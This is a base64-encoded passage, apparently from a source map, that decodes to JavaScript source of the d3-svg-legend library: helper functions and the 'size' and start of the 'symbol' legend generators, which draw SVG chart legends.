ZWxzLFxuICAgICAgbGFiZWxzLFxuICAgICAgc2NhbGUuZG9tYWluKCksXG4gICAgICByYW5nZSxcbiAgICAgIGxhYmVsRGVsaW1pdGVyXG4gICAgKVxuXG4gICAgaWYgKGFzY2VuZGluZykge1xuICAgICAgdHlwZS5sYWJlbHMgPSBkM19yZXZlcnNlKHR5cGUubGFiZWxzKVxuICAgICAgdHlwZS5kYXRhID0gZDNfcmV2ZXJzZSh0eXBlLmRhdGEpXG4gICAgfVxuXG4gICAgcmV0dXJuIHR5cGVcbiAgfSxcblxuICBkM19maWx0ZXJDZWxsczogKHR5cGUsIGNlbGxGaWx0ZXIpID0+IHtcbiAgICBsZXQgZmlsdGVyQ2VsbHMgPSB0eXBlLmRhdGFcbiAgICAgIC5tYXAoKGQsIGkpID0+ICh7IGRhdGE6IGQsIGxhYmVsOiB0eXBlLmxhYmVsc1tpXSB9KSlcbiAgICAgIC5maWx0ZXIoY2VsbEZpbHRlcilcbiAgICBjb25zdCBkYXRhVmFsdWVzID0gZmlsdGVyQ2VsbHMubWFwKGQgPT4gZC5kYXRhKVxuICAgIGNvbnN0IGxhYmVsVmFsdWVzID0gZmlsdGVyQ2VsbHMubWFwKGQgPT4gZC5sYWJlbClcbiAgICB0eXBlLmRhdGEgPSB0eXBlLmRhdGEuZmlsdGVyKGQgPT4gZGF0YVZhbHVlcy5pbmRleE9mKGQpICE9PSAtMSlcbiAgICB0eXBlLmxhYmVscyA9IHR5cGUubGFiZWxzLmZpbHRlcihkID0+IGxhYmVsVmFsdWVzLmluZGV4T2YoZCkgIT09IC0xKVxuICAgIHJldHVybiB0eXBlXG4gIH0sXG5cbiAgZDNfcGxhY2VtZW50OiAob3JpZW50LCBjZWxsLCBjZWxsVHJhbnMsIHRleHQsIHRleHRUcmFucywgbGFiZWxBbGlnbikgPT4ge1xuICAgIGNlbGwuYXR0cihcInRyYW5zZm9ybVwiLCBjZWxsVHJhbnMpXG4gICAgdGV4dC5hdHRyKFwidHJhbnNmb3JtXCIsIHRleHRUcmFucylcbiAgICBpZiAob3JpZW50ID09PSBcImhvcml6b250YWxcIikge1xuICAgICAgdGV4dC5zdHlsZShcInRleHQtYW5jaG9yXCIsIGxhYmVsQWxpZ24pXG4gICAgfVxuICB9LFxuXG4gIGQzX2FkZEV2ZW50czogZnVuY3Rpb24oY2VsbHMsIGRpc3BhdGNoZXIpIHtcbiAgICBjZWxsc1xuICAgICAgLm9uKFwibW91c2VvdmVyLmxlZ2VuZFwiLCBmdW5jdGlvbihkKSB7XG4gICAgICAgIGQzX2NlbGxPdmVyKGRpc3BhdGNoZXIsIGQsIHRoaXMpXG4gICAgICB9KVxuICAgICAgLm9uKFwibW91c2VvdXQubGVnZW5kXCIsIGZ1bmN0aW9uKGQpIHtcbiAgICAgICAgZDNfY2VsbE91dChkaXNwYXRjaGVyLCBkLCB0aGlzKVxuICAgICAgfSlcbiAgICAgIC5vbihcImNsaWNrLmxlZ2VuZFwiLCBmdW5jdGlvbihkKSB7XG4gICAgICAgIGQzX2NlbGxDbGljayhkaXNwYXRjaGVyLCBkLCB0aGlzKVxuICAgICAgfSlcbiAgfSxcblxuICBkM190aXRsZTogKHN2ZywgdGl0bGUsIGNsYXNzUHJlZml4LCB0aXRsZVdpZHRoKSA9PiB7XG4gICAgaWYgKHRpdGxlICE9PSBcIlwiKSB7XG4gICAgICBjb25zdCB0aXRsZVRleHQgPSBzdmcuc2VsZWN0QWxsKFwidGV4dC5cIiArIGNsYXNzUHJlZml4ICsgXCJsZWdlbmRUaXRsZVwiKVxuXG4gICAgICB0aXRsZVRleHRcbiAgICAgICAgLmRhdGEoW3RpdGxlXSlcbiAgICAgICAgLmVudGVyKClcbiAgICAgICAgLmFwcGVuZChcInRleHRcIilcbiAgICAgICAgLmF0dHIoXCJjbGFzc1wiLCBjbGFzc1ByZWZpeCArIFwibGVnZW5kVGl0bGVcIilcblxuICAgICAgc3ZnLnNlbGVjdEFsbChcInRleHQuXCIgKyBjbGFzc1ByZWZpeCArIFwibGVnZW5kVGl0bGVcIikudGV4dCh0aXRsZSlcblxuICAgICAgaWYgKHRpdGxlV2lkdGgpIHtcbiAgICAgICAgc3ZnXG4gICAgICAgICAgLnNlbGVjdEFsbChcInRleHQuXCIgKyBjbGFzc1ByZWZpeCArIFwibGVnZW5kVGl0bGVcIilcbiAgICAgICAgICAuY2FsbChkM190ZXh0V3JhcHBpbmcsIHRpdGxlV2lkdGgpXG4gICAgICB9XG5cbiAgICAgIGNvbnN0IGNlbGxzU3ZnID0gc3ZnLnNlbGVjdChcIi5cIiArIGNsYXNzUHJlZml4ICsgXCJsZWdlbmRDZWxsc1wiKVxuICAgICAgY29uc3QgeU9mZnNldCA9IHN2Z1xuICAgICAgICAgIC5zZWxlY3QoXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwibGVnZW5kVGl0bGVcIilcbiAgICAgICAgICAubm9kZXMoKVxuICAgICAgICAgIC5tYXAoZCA9PiBkLmdldEJCb3goKS5oZWlnaHQpWzBdLFxuICAgICAgICB4T2Zmc2V0ID0gLWNlbGxzU3ZnLm5vZGVzKCkubWFwKGZ1bmN0aW9uKGQpIHtcbiAgICAgICAgICByZXR1cm4gZC5nZXRCQm94KCkueFxuICAgICAgICB9KVswXVxuICAgICAgY2VsbHNTdmcuYXR0cihcInRyYW5zZm9ybVwiLCBcInRyYW5zbGF0ZShcIiArIHhPZmZzZXQgKyBcIixcIiArIHlPZmZzZXQgKyBcIilcIilcbiAgICB9XG4gIH0sXG5cbiAgZDNfZGVmYXVsdExvY2FsZToge1xuICAgIGZvcm1hdCxcbiAgICBmb3JtYXRQcmVmaXhcbiAgfSxcblxuICBkM19kZWZhdWx0Rm9ybWF0U3BlY2lmaWVyOiBcIi4wMWZcIixcblxuICBkM19kZWZhdWx0RGVsaW1pdGVyOiBcInRvXCJcbn1cbiIsImltcG9ydCBoZWxwZXIgZnJvbSBcIi4vbGVnZW5kXCJcbmltcG9ydCB7IGRpc3BhdGNoIH0gZnJvbSBcImQzLWRpc3BhdGNoXCJcbmltcG9ydCB7IHNjYWxlTGluZWFyIH0gZnJvbSBcImQzLXNjYWxlXCJcbmltcG9ydCB7IGZvcm1hdExvY2FsZSwgZm9ybWF0U3BlY2lmaWVyIH0gZnJvbSBcImQzLWZvcm1hdFwiXG5pbXBvcnQgeyBzdW0sIG1heCB9IGZyb20gXCJkMy1hcnJheVwiXG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHNpemUoKSB7XG4gIGxldCBzY2FsZSA9IHNjYWxlTGluZWFyKCksXG4gICAgc2hhcGUgPSBcInJlY3RcIixcbiAgICBzaGFwZVdpZHRoID0gMTUsXG4gICAgc2hhcGVQYWRkaW5nID0gMixcbiAgICBjZWxscyA9IFs1XSxcbiAgICBjZWxsRmlsdGVyLFxuICAgIGxhYmVscyA9IFtdLFxuICAgIGNsYXNzUHJlZml4ID0gXCJcIixcbiAgICB0aXRsZSA9IFwiXCIsXG4gICAgbG9jYWxlID0gaGVscGVyLmQzX2RlZmF1bHRMb2NhbGUsXG4gICAgc3BlY2lmaWVyID0gaGVscGVyLmQzX2RlZmF1bHRGb3JtYXRTcGVjaWZpZXIsXG4gICAgbGFiZWxPZmZzZXQgPSAxMCxcbiAgICBsYWJlbEFsaWduID0gXCJtaWRkbGVcIixcbiAgICBsYWJlbERlbGltaXRlciA9IGhlbHBlci5kM19kZWZhdWx0RGVsaW1pdGVyLFxuICAgIGxhYmVsV3JhcCxcbiAgICBvcmllbnQgPSBcInZlcnRpY2FsXCIsXG4gICAgYXNjZW5kaW5nID0gZmFsc2UsXG4gICAgcGF0aCxcbiAgICB0aXRsZVdpZHRoLFxuICAgIGxlZ2VuZERpc3BhdGNoZXIgPSBkaXNwYXRjaChcImNlbGxvdmVyXCIsIFwiY2VsbG91dFwiLCBcImNlbGxjbGlja1wiKVxuXG4gIGZ1bmN0aW9uIGxlZ2VuZChzdmcpIHtcbiAgICBjb25zdCB0eXBlID0gaGVscGVyLmQzX2NhbGNUeXBlKFxuICAgICAgICBzY2FsZSxcbiAgICAgICAgYXNjZW5kaW5nLFxuICAgICAgICBjZWxscyxcbiAgICAgICAgbGFiZWxzLFxuICAgICAgICBsb2NhbGUuZm9ybWF0KHNwZWNpZmllciksXG4gICAgICAgIGxhYmVsRGVsaW1pdGVyXG4gICAgICApLFxuICAgICAgbGVnZW5kRyA9IHN2Zy5zZWxlY3RBbGwoXCJnXCIpLmRhdGEoW3NjYWxlXSlcblxuICAgIGlmIChjZWxsRmlsdGVyKSB7XG4gICAgICBoZWxwZXIuZDNfZmlsdGVyQ2VsbHModHlwZSwgY2VsbEZpbHRlcilcbiAgICB9XG5cbiAgICBsZWdlbmRHXG4gICAgICAuZW50ZXIoKVxuICAgICAgLmFwcGVuZChcImdcIilcbiAgICAgIC5hdHRyKFwiY2xhc3NcIiwgY2xhc3NQcmVmaXggKyBcImxlZ2VuZENlbGxzXCIpXG5cbiAgICBsZXQgY2VsbCA9IHN2Z1xuICAgICAgLnNlbGVjdChcIi5cIiArIGNsYXNzUHJlZml4ICsgXCJsZWdlbmRDZWxsc1wiKVxuICAgICAgLnNlbGVjdEFsbChcIi5cIiArIGNsYXNzUHJlZml4ICsgXCJjZWxsXCIpXG4gICAgICAuZGF0YSh0eXBlLmRhdGEpXG4gICAgY29uc3QgY2VsbEVudGVyID0gY2VsbFxuICAgICAgLmVudGVyKClcbiAgICAgIC5hcHBlbmQoXCJnXCIpXG4gICAgICAuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJjZWxsXCIpXG4gICAgY2VsbEVudGVyLmFwcGVuZChzaGFwZSkuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJzd2F0Y2hcIilcblxuICAgIGxldCBzaGFwZXMgPSBzdmcuc2VsZWN0QWxsKFxuICAgICAgXCJnLlwiICsgY2xhc3NQcmVmaXggKyBcImNlbGwgXCIgKyBzaGFwZSArIFwiLlwiICsgY2xhc3NQcmVmaXggKyBcInN3YXRjaFwiXG4gICAgKVxuXG4gICAgLy9hZGQgZXZlbnQgaGFuZGxlcnNcbiAgICBoZWxwZXIuZDNfYWRkRXZlbnRzKGNlbGxFbnRlciwgbGVnZW5kRGlzcGF0Y2hlcilcblxuICAgIGNlbGxcbiAgICAgIC5leGl0KClcbiAgICAgIC50cmFuc2l0aW9uKClcbiAgICAgIC5zdHlsZShcIm9wYWNpdHlcIiwgMClcbiAgICAgIC5yZW1vdmUoKVxuXG4gICAgc2hhcGVzXG4gICAgICAuZXhpdCgpXG4gICAgICAudHJhbnNpdGlvbigpXG4gICAgICAuc3R5bGUoXCJvcGFjaXR5XCIsIDApXG4gICAgICAucmVtb3ZlKClcbiAgICBzaGFwZXMgPSBzaGFwZXMubWVyZ2Uoc2hhcGVzKVxuXG4gICAgLy9jcmVhdGVzIHNoYXBlXG4gICAgaWYgKHNoYXBlID09PSBcImxpbmVcIikge1xuICAgICAgaGVscGVyLmQzX2RyYXdTaGFwZXMoc2hhcGUsIHNoYXBlcywgMCwgc2hhcGVXaWR0aClcbiAgICAgIHNoYXBlcy5hdHRyKFwic3Ryb2tlLXdpZHRoXCIsIHR5cGUuZmVhdHVyZSlcbiAgICB9IGVsc2Uge1xuICAgICAgaGVscGVyLmQzX2RyYXdTaGFwZXMoXG4gICAgICAgIHNoYXBlLFxuICAgICAgICBzaGFwZXMsXG4gICAgICAgIHR5cGUuZmVhdHVyZSxcbiAgICAgICAgdHlwZS5mZWF0dXJlLFxuICAgICAgICB0eXBlLmZlYXR1cmUsXG4gICAgICAgIHBhdGhcbiAgICAgIClcbiAgICB9XG5cbiAgICBjb25zdCB0ZXh0ID0gaGVscGVyLmQzX2FkZFRleHQoXG4gICAgICBzdmcsXG4gICAgICBjZWxsRW50ZXIsXG4gICAgICB0eXBlLmxhYmVscyxcbiAgICAgIGNsYXNzUHJlZml4LFxuICAgICAgbGFiZWxXcmFwXG4gICAgKVxuXG4gICAgLy8gd2UgbmVlZCB0byBtZXJnZSB0aGUgc2VsZWN0aW9uLCBvdGhlcndpc2UgY2hhbmdlcyBpbiB0aGUgbGVnZW5kIChlLmcuIGNoYW5nZSBvZiBvcmllbnRhdGlvbikgYXJlIGFwcGxpZWQgb25seSB0byB0aGUgbmV3IGNlbGxzIGFuZCBub3QgdGhlIGV4aXN0aW5nIG9uZXMuXG4gICAgY2VsbCA9IGNlbGxFbnRlci5tZXJnZShjZWxsKVxuXG4gICAgLy9zZXRzIHBsYWNlbWVudFxuXG4gICAgY29uc3QgdGV4dFNpemUgPSB0ZXh0Lm5vZGVzKCkubWFwKGQgPT4gZC5nZXRCQm94KCkpLFxuICAgICAgc2hhcGVTaXplID0gc2hhcGVzLm5vZGVzKCkubWFwKChkLCBpKSA9PiB7XG4gICAgICAgIGNvbnN0IGJib3ggPSBkLmdldEJCb3goKVxuICAgICAgICBjb25zdCBzdHJva2UgPSBzY2FsZSh0eXBlLmRhdGFbaV0pXG5cbiAgICAgICAgaWYgKHNoYXBlID09PSBcImxpbmVcIiAmJiBvcmllbnQgPT09IFwiaG9yaXpvbnRhbFwiKSB7XG4gICAgICAgICAgYmJveC5oZWlnaHQgPSBiYm94LmhlaWdodCArIHN0cm9rZVxuICAgICAgICB9IGVsc2UgaWYgKHNoYXBlID09PSBcImxpbmVcIiAmJiBvcmllbnQgPT09IFwidmVydGljYWxcIikge1xuICAgICAgICAgIGJib3gud2lkdGggPSBiYm94LndpZHRoXG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGJib3hcbiAgICAgIH0pXG5cbiAgICBjb25zdCBtYXhIID0gbWF4KHNoYXBlU2l6ZSwgZCA9PiBkLmhlaWdodCArIGQueSksXG4gICAgICBtYXhXID0gbWF4KHNoYXBlU2l6ZSwgZCA9PiBkLndpZHRoICsgZC54KVxuXG4gICAgbGV0IGNlbGxUcmFucyxcbiAgICAgIHRleHRUcmFucyxcbiAgICAgIHRleHRBbGlnbiA9IGxhYmVsQWxpZ24gPT0gXCJzdGFydFwiID8gMCA6IGxhYmVsQWxpZ24gPT0gXCJtaWRkbGVcIiA/IDAuNSA6IDFcblxuICAgIC8vcG9zaXRpb25zIGNlbGxzIGFuZCB0ZXh0XG4gICAgaWYgKG9yaWVudCA9PT0gXCJ2ZXJ0aWNhbFwiKSB7XG4gICAgICBjb25zdCBjZWxsU2l6ZSA9IHRleHRTaXplLm1hcCgoZCwgaSkgPT5cbiAgICAgICAgTWF0aC5tYXgoZC5oZWlnaHQsIHNoYXBlU2l6ZVtpXS5oZWlnaHQpXG4gICAgICApXG4gICAgICBjb25zdCB5ID1cbiAgICAgICAgc2hhcGUgPT0gXCJjaXJjbGVcIiB8fCBzaGFwZSA9PSBcImxpbmVcIiA/IHNoYXBlU2l6ZVswXS5oZWlnaHQgLyAyIDogMFxuICAgICAgY2VsbFRyYW5zID0gKGQsIGkpID0+IHtcbiAgICAgICAgY29uc3QgaGVpZ2h0ID0gc3VtKGNlbGxTaXplLnNsaWNlKDAsIGkpKVxuXG4gICAgICAgIHJldHVybiBgdHJhbnNsYXRlKDAsICR7eSArIGhlaWdodCArIGkgKiBzaGFwZVBhZGRpbmd9KWBcbiAgICAgIH1cblxuICAgICAgdGV4dFRyYW5zID0gKGQsIGkpID0+IGB0cmFuc2xhdGUoICR7bWF4VyArIGxhYmVsT2Zmc2V0fSxcbiAgICAgICAgICAke3NoYXBlU2l6ZVtpXS55ICsgc2hhcGVTaXplW2ldLmhlaWdodCAvIDIgKyA1fSlgXG4gICAgfSBlbHNlIGlmIChvcmllbnQgPT09IFwiaG9yaXpvbnRhbFwiKSB7XG4gICAgICBjZWxsVHJhbnMgPSAoZCwgaSkgPT4ge1xuICAgICAgICBjb25zdCB3aWR0aCA9IHN1bShzaGFwZVNpemUuc2xpY2UoMCwgaSksIGQgPT4gZC53aWR0aClcbiAgICAgICAgY29uc3QgeSA9IHNoYXBlID09IFwiY2lyY2xlXCIgfHwgc2hhcGUgPT0gXCJsaW5lXCIgPyBtYXhIIC8gMiA6IDBcbiAgICAgICAgcmV0dXJuIGB0cmFuc2xhdGUoJHt3aWR0aCArIGkgKiBzaGFwZVBhZGRpbmd9LCAke3l9KWBcbiAgICAgIH1cblxuICAgICAgY29uc3Qgb2Zmc2V0ID0gc2hhcGUgPT0gXCJsaW5lXCIgPyBtYXhIIC8gMiA6IG1heEhcbiAgICAgIHRleHRUcmFucyA9IChkLCBpKSA9PiB7XG4gICAgICAgIHJldHVybiBgdHJhbnNsYXRlKCAke3NoYXBlU2l6ZVtpXS53aWR0aCAqIHRleHRBbGlnbiArIHNoYXBlU2l6ZVtpXS54fSxcbiAgICAgICAgICAgICAgJHtvZmZzZXQgKyBsYWJlbE9mZnNldH0pYFxuICAgICAgfVxuICAgIH1cblxuICAgIGhlbHBlci5kM19wbGFjZW1lbnQob3JpZW50LCBjZWxsLCBjZWxsVHJhbnMsIHRleHQsIHRleHRUcmFucywgbGFiZWxBbGlnbilcbiAgICBoZWxwZXIuZDNfdGl0bGUoc3ZnLCB0aXRsZSwgY2xhc3NQcmVmaXgsIHRpdGxlV2lkdGgpXG5cbiAgICBjZWxsLnRyYW5zaXRpb24oKS5zdHlsZShcIm9wYWNpdHlcIiwgMSlcbiAgfVxuXG4gIGxlZ2VuZC5zY2FsZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzY2FsZVxuICAgIHNjYWxlID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5jZWxscyA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBjZWxsc1xuICAgIGlmIChfLmxlbmd0aCA+IDEgfHwgXyA+PSAyKSB7XG4gICAgICBjZWxscyA9IF9cbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmNlbGxGaWx0ZXIgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gY2VsbEZpbHRlclxuICAgIGNlbGxGaWx0ZXIgPSBfXG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLnNoYXBlID0gZnVuY3Rpb24oXywgZCkge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNoYXBlXG4gICAgaWYgKF8gPT0gXCJyZWN0XCIgfHwgXyA9PSBcImNpcmNsZVwiIHx8IF8gPT0gXCJsaW5lXCIpIHtcbiAgICAgIHNoYXBlID0gX1xuICAgICAgcGF0aCA9IGRcbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLnNoYXBlV2lkdGggPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2hhcGVXaWR0aFxuICAgIHNoYXBlV2lkdGggPSArX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5zaGFwZVBhZGRpbmcgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2hhcGVQYWRkaW5nXG4gICAgc2hhcGVQYWRkaW5nID0gK19cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQubGFiZWxzID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGxhYmVsc1xuICAgIGxhYmVscyA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQubGFiZWxBbGlnbiA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBsYWJlbEFsaWduXG4gICAgaWYgKF8gPT0gXCJzdGFydFwiIHx8IF8gPT0gXCJlbmRcIiB8fCBfID09IFwibWlkZGxlXCIpIHtcbiAgICAgIGxhYmVsQWxpZ24gPSBfXG4gICAgfVxuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sb2NhbGUgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gbG9jYWxlXG4gICAgbG9jYWxlID0gZm9ybWF0TG9jYWxlKF8pXG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmxhYmVsRm9ybWF0ID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGxlZ2VuZC5sb2NhbGUoKS5mb3JtYXQoc3BlY2lmaWVyKVxuICAgIHNwZWNpZmllciA9IGZvcm1hdFNwZWNpZmllcihfKVxuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sYWJlbE9mZnNldCA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBsYWJlbE9mZnNldFxuICAgIGxhYmVsT2Zmc2V0ID0gK19cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQubGFiZWxEZWxpbWl0ZXIgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gbGFiZWxEZWxpbWl0ZXJcbiAgICBsYWJlbERlbGltaXRlciA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQubGFiZWxXcmFwID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGxhYmVsV3JhcFxuICAgIGxhYmVsV3JhcCA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQub3JpZW50ID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIG9yaWVudFxuICAgIF8gPSBfLnRvTG93ZXJDYXNlKClcbiAgICBpZiAoXyA9PSBcImhvcml6b250YWxcIiB8fCBfID09IFwidmVydGljYWxcIikge1xuICAgICAgb3JpZW50ID0gX1xuICAgIH1cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQuYXNjZW5kaW5nID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGFzY2VuZGluZ1xuICAgIGFzY2VuZGluZyA9ICEhX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5jbGFzc1ByZWZpeCA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBjbGFzc1ByZWZpeFxuICAgIGNsYXNzUHJlZml4ID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC50aXRsZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiB0aXRsZVxuICAgIHRpdGxlID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC50aXRsZVdpZHRoID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHRpdGxlV2lkdGhcbiAgICB0aXRsZVdpZHRoID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5vbiA9IGZ1bmN0aW9uKCkge1xuICAgIGNvbnN0IHZhbHVlID0gbGVnZW5kRGlzcGF0Y2hlci5vbi5hcHBseShsZWdlbmREaXNwYXRjaGVyLCBhcmd1bWVudHMpXG4gICAgcmV0dXJuIHZhbHVlID09PSBsZWdlbmREaXNwYXRjaGVyID8gbGVnZW5kIDogdmFsdWVcbiAgfVxuXG4gIHJldHVybiBsZWdlbmRcbn1cbiIsImltcG9ydCBoZWxwZXIgZnJvbSBcIi4vbGVnZW5kXCJcbmltcG9ydCB7IGRpc3BhdGNoIH0gZnJvbSBcImQzLWRpc3BhdGNoXCJcbmltcG9ydCB7IHNjYWxlTGluZWFyIH0gZnJvbSBcImQzLXNjYWxlXCJcbmltcG9ydCB7IGZvcm1hdExvY2FsZSwgZm9ybWF0U3BlY2lmaWVyIH0gZnJvbSBcImQzLWZvcm1hdFwiXG5pbXBvcnQgeyBzdW0sIG1heCB9IGZyb20gXCJkMy1hcnJheVwiXG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHN5bWJvbCgpIHtcbiAgbGV0IHNjYWxlID0gc2NhbGVMaW5lYXIoKSxcbiAgICBzaGFwZSA9IFwicGF0aFwiLFxuICAgIHNoYXBlV2lkdGggPSAxNSxcbiAgICBzaGFwZUhlaWdodCA9IDE1LFxuICAgIHNoYXBlUmFkaXVzID0gMTAsXG4gICAgc2hhcGVQYWRkaW5nID0gNSxcbiAgICBjZWxscyA9IFs1XSxcbiAgICBjZWxsRmlsdGVyLFxuICAgIGxhYmVscyA9IFtdLFxuICAgIGNsYXNzUHJlZml4ID0gXCJcIixcbiAgICB0aXRsZSA9IFwiXCIsXG4gICAgbG9jYWxlID0gaGVscGVyLmQzX2RlZmF1bHRMb2NhbGUsXG4gICAgc3BlY2lmaWVyID0gaGVscGVyLmQzX2RlZmF1bHRGb3JtYXRTcGVjaWZpZXIsXG4gICAgbGFiZWxBbGlnbiA9IFwibWlkZGxlXCIsXG4gICAgbGFiZWxPZmZzZXQgPSAxMCxcbiAgICBsYWJlbERlbGltaXRlciA9IGhlbHBlci5kM19kZWZhdWx0RGVsaW1pdGVyLFxuICAgIGxhYmVsV3JhcCxcbiAgICBvcmllbnQgPSBcInZlcnRpY2FsXCIsXG4gICAgYXNjZW5kaW5nID0gZmFsc2UsXG4gICAgdGl0bGVXaWR0aCxcbiAgICBsZWdlbmREaXNwYXRjaGVyID0gZGlzcGF0Y2goXCJjZWxsb3ZlclwiLCBcImNlbGxvdXRcIiwgXCJjZWxsY2xpY2tcIilcblxuICBmdW5jdGlvbiBsZWdlbmQoc3ZnKSB7XG4gICAgY29uc3QgdHlwZSA9IGhlbHBlci5kM19jYWxjVHlwZShcbiAgICAgICAgc2NhbGUsXG4gICAgICAgIGFzY2VuZGluZyxcbiAgICAgICAgY2VsbHMsXG4gICAgICAgIGxhYmVscyxcbiAgICAgICAgbG9jYWxlLmZvcm1hdChzcGVjaWZpZXIpLFxuICAgICAgICBsYWJlbERlbGltaXRlclxuICAgICAgKSxcbiAgICAgIGxlZ2VuZEcgPSBzdmcuc2VsZWN0QWxsKFwiZ1wiKS5kYXRhKFtzY2FsZV0pXG5cbiAgICBpZiAoY2VsbEZpbHRlcikge1xuICAgICAgaGVscGVyLmQzX2ZpbHRlckNlbGxzKHR5cGUsIGNlbGxGaWx0ZXIpXG4gICAgfVxuXG4gICAgbGVnZW5kR1xuICAgICAgLmVudGVyKClcbiAgICAgIC5hcHBlbmQoXCJnXCIpXG4gICAgICAuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJsZWdlbmRDZWxsc1wiKVxuXG4gICAgbGV0IGNlbGwgPSBzdmdcbiAgICAgIC5zZWxlY3QoXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwibGVnZW5kQ2VsbHNcIilcbiAgICAgIC5zZWxlY3RBbGwoXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwiY2VsbFwiKVxuICAgICAgLmRhdGEodHlwZS5kYXRhKVxuICAgIGNvbnN0IGNlbGxFbnRlciA9IGNlbGxcbiAgICAgIC5lbnRlcigpXG4gICAgICAuYXBwZW5kKFwiZ1wiKVxuICAgICAgLmF0dHIoXCJjbGFzc1wiLCBjbGFzc1ByZWZpeCArIFwiY2VsbFwiKVxuICAgIGNlbGxFbnRlci5hcHBlbmQoc2hhcGUpLmF0dHIoXCJjbGFzc1wiLCBjbGFzc1ByZWZpeCArIFwic3dhdGNoXCIpXG5cbiAgICBsZXQgc2hhcGVzID0gc3ZnLnNlbGVjdEFsbChcImcuXCIgKyBjbGFzc1ByZWZpeCArIFwiY2VsbCBcIiArIHNoYXBlICsgXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwic3dhdGNoXCIpXG5cbiAgICAvL2FkZCBldmVudCBoYW5kbGVyc1xuICAgIGhlbHBlci5kM19hZGRFdmVudHMoY2VsbEVudGVyLCBsZWdlbmREaXNwYXRjaGVyKVxuXG4gICAgLy9yZW1vdmUgb2xkIHNoYXBlc1xuICAgIGNlbGxcbiAgICAgIC5leGl0KClcbiAgICAgIC50cmFuc2l0aW9uKClcbiAgICAgIC5zdHlsZShcIm9wYWNpdHlcIiwgMClcbiAgICAgIC5yZW1vdmUoKVxuICAgIHNoYXBlc1xuICAgICAgLmV4aXQoKVxuICAgICAgLnRyYW5zaXRpb24oKVxuICAgICAgLnN0eWxlKFwib3BhY2l0eVwiLCAwKVxuICAgICAgLnJlbW92ZSgpXG4gICAgc2hhcGVzID0gc2hhcGVzLm1lcmdlKHNoYXBlcylcblxuICAgIGhlbHBlci5kM19kcmF3U2hhcGVzKFxuICAgICAgc2hhcGUsXG4gICAgICBzaGFwZXMsXG4gICAgICBzaGFwZUhlaWdodCxcbiAgICAgIHNoYXBlV2lkdGgsXG4gICAgICBzaGFwZVJhZGl1cyxcbiAgICAgIHR5cGUu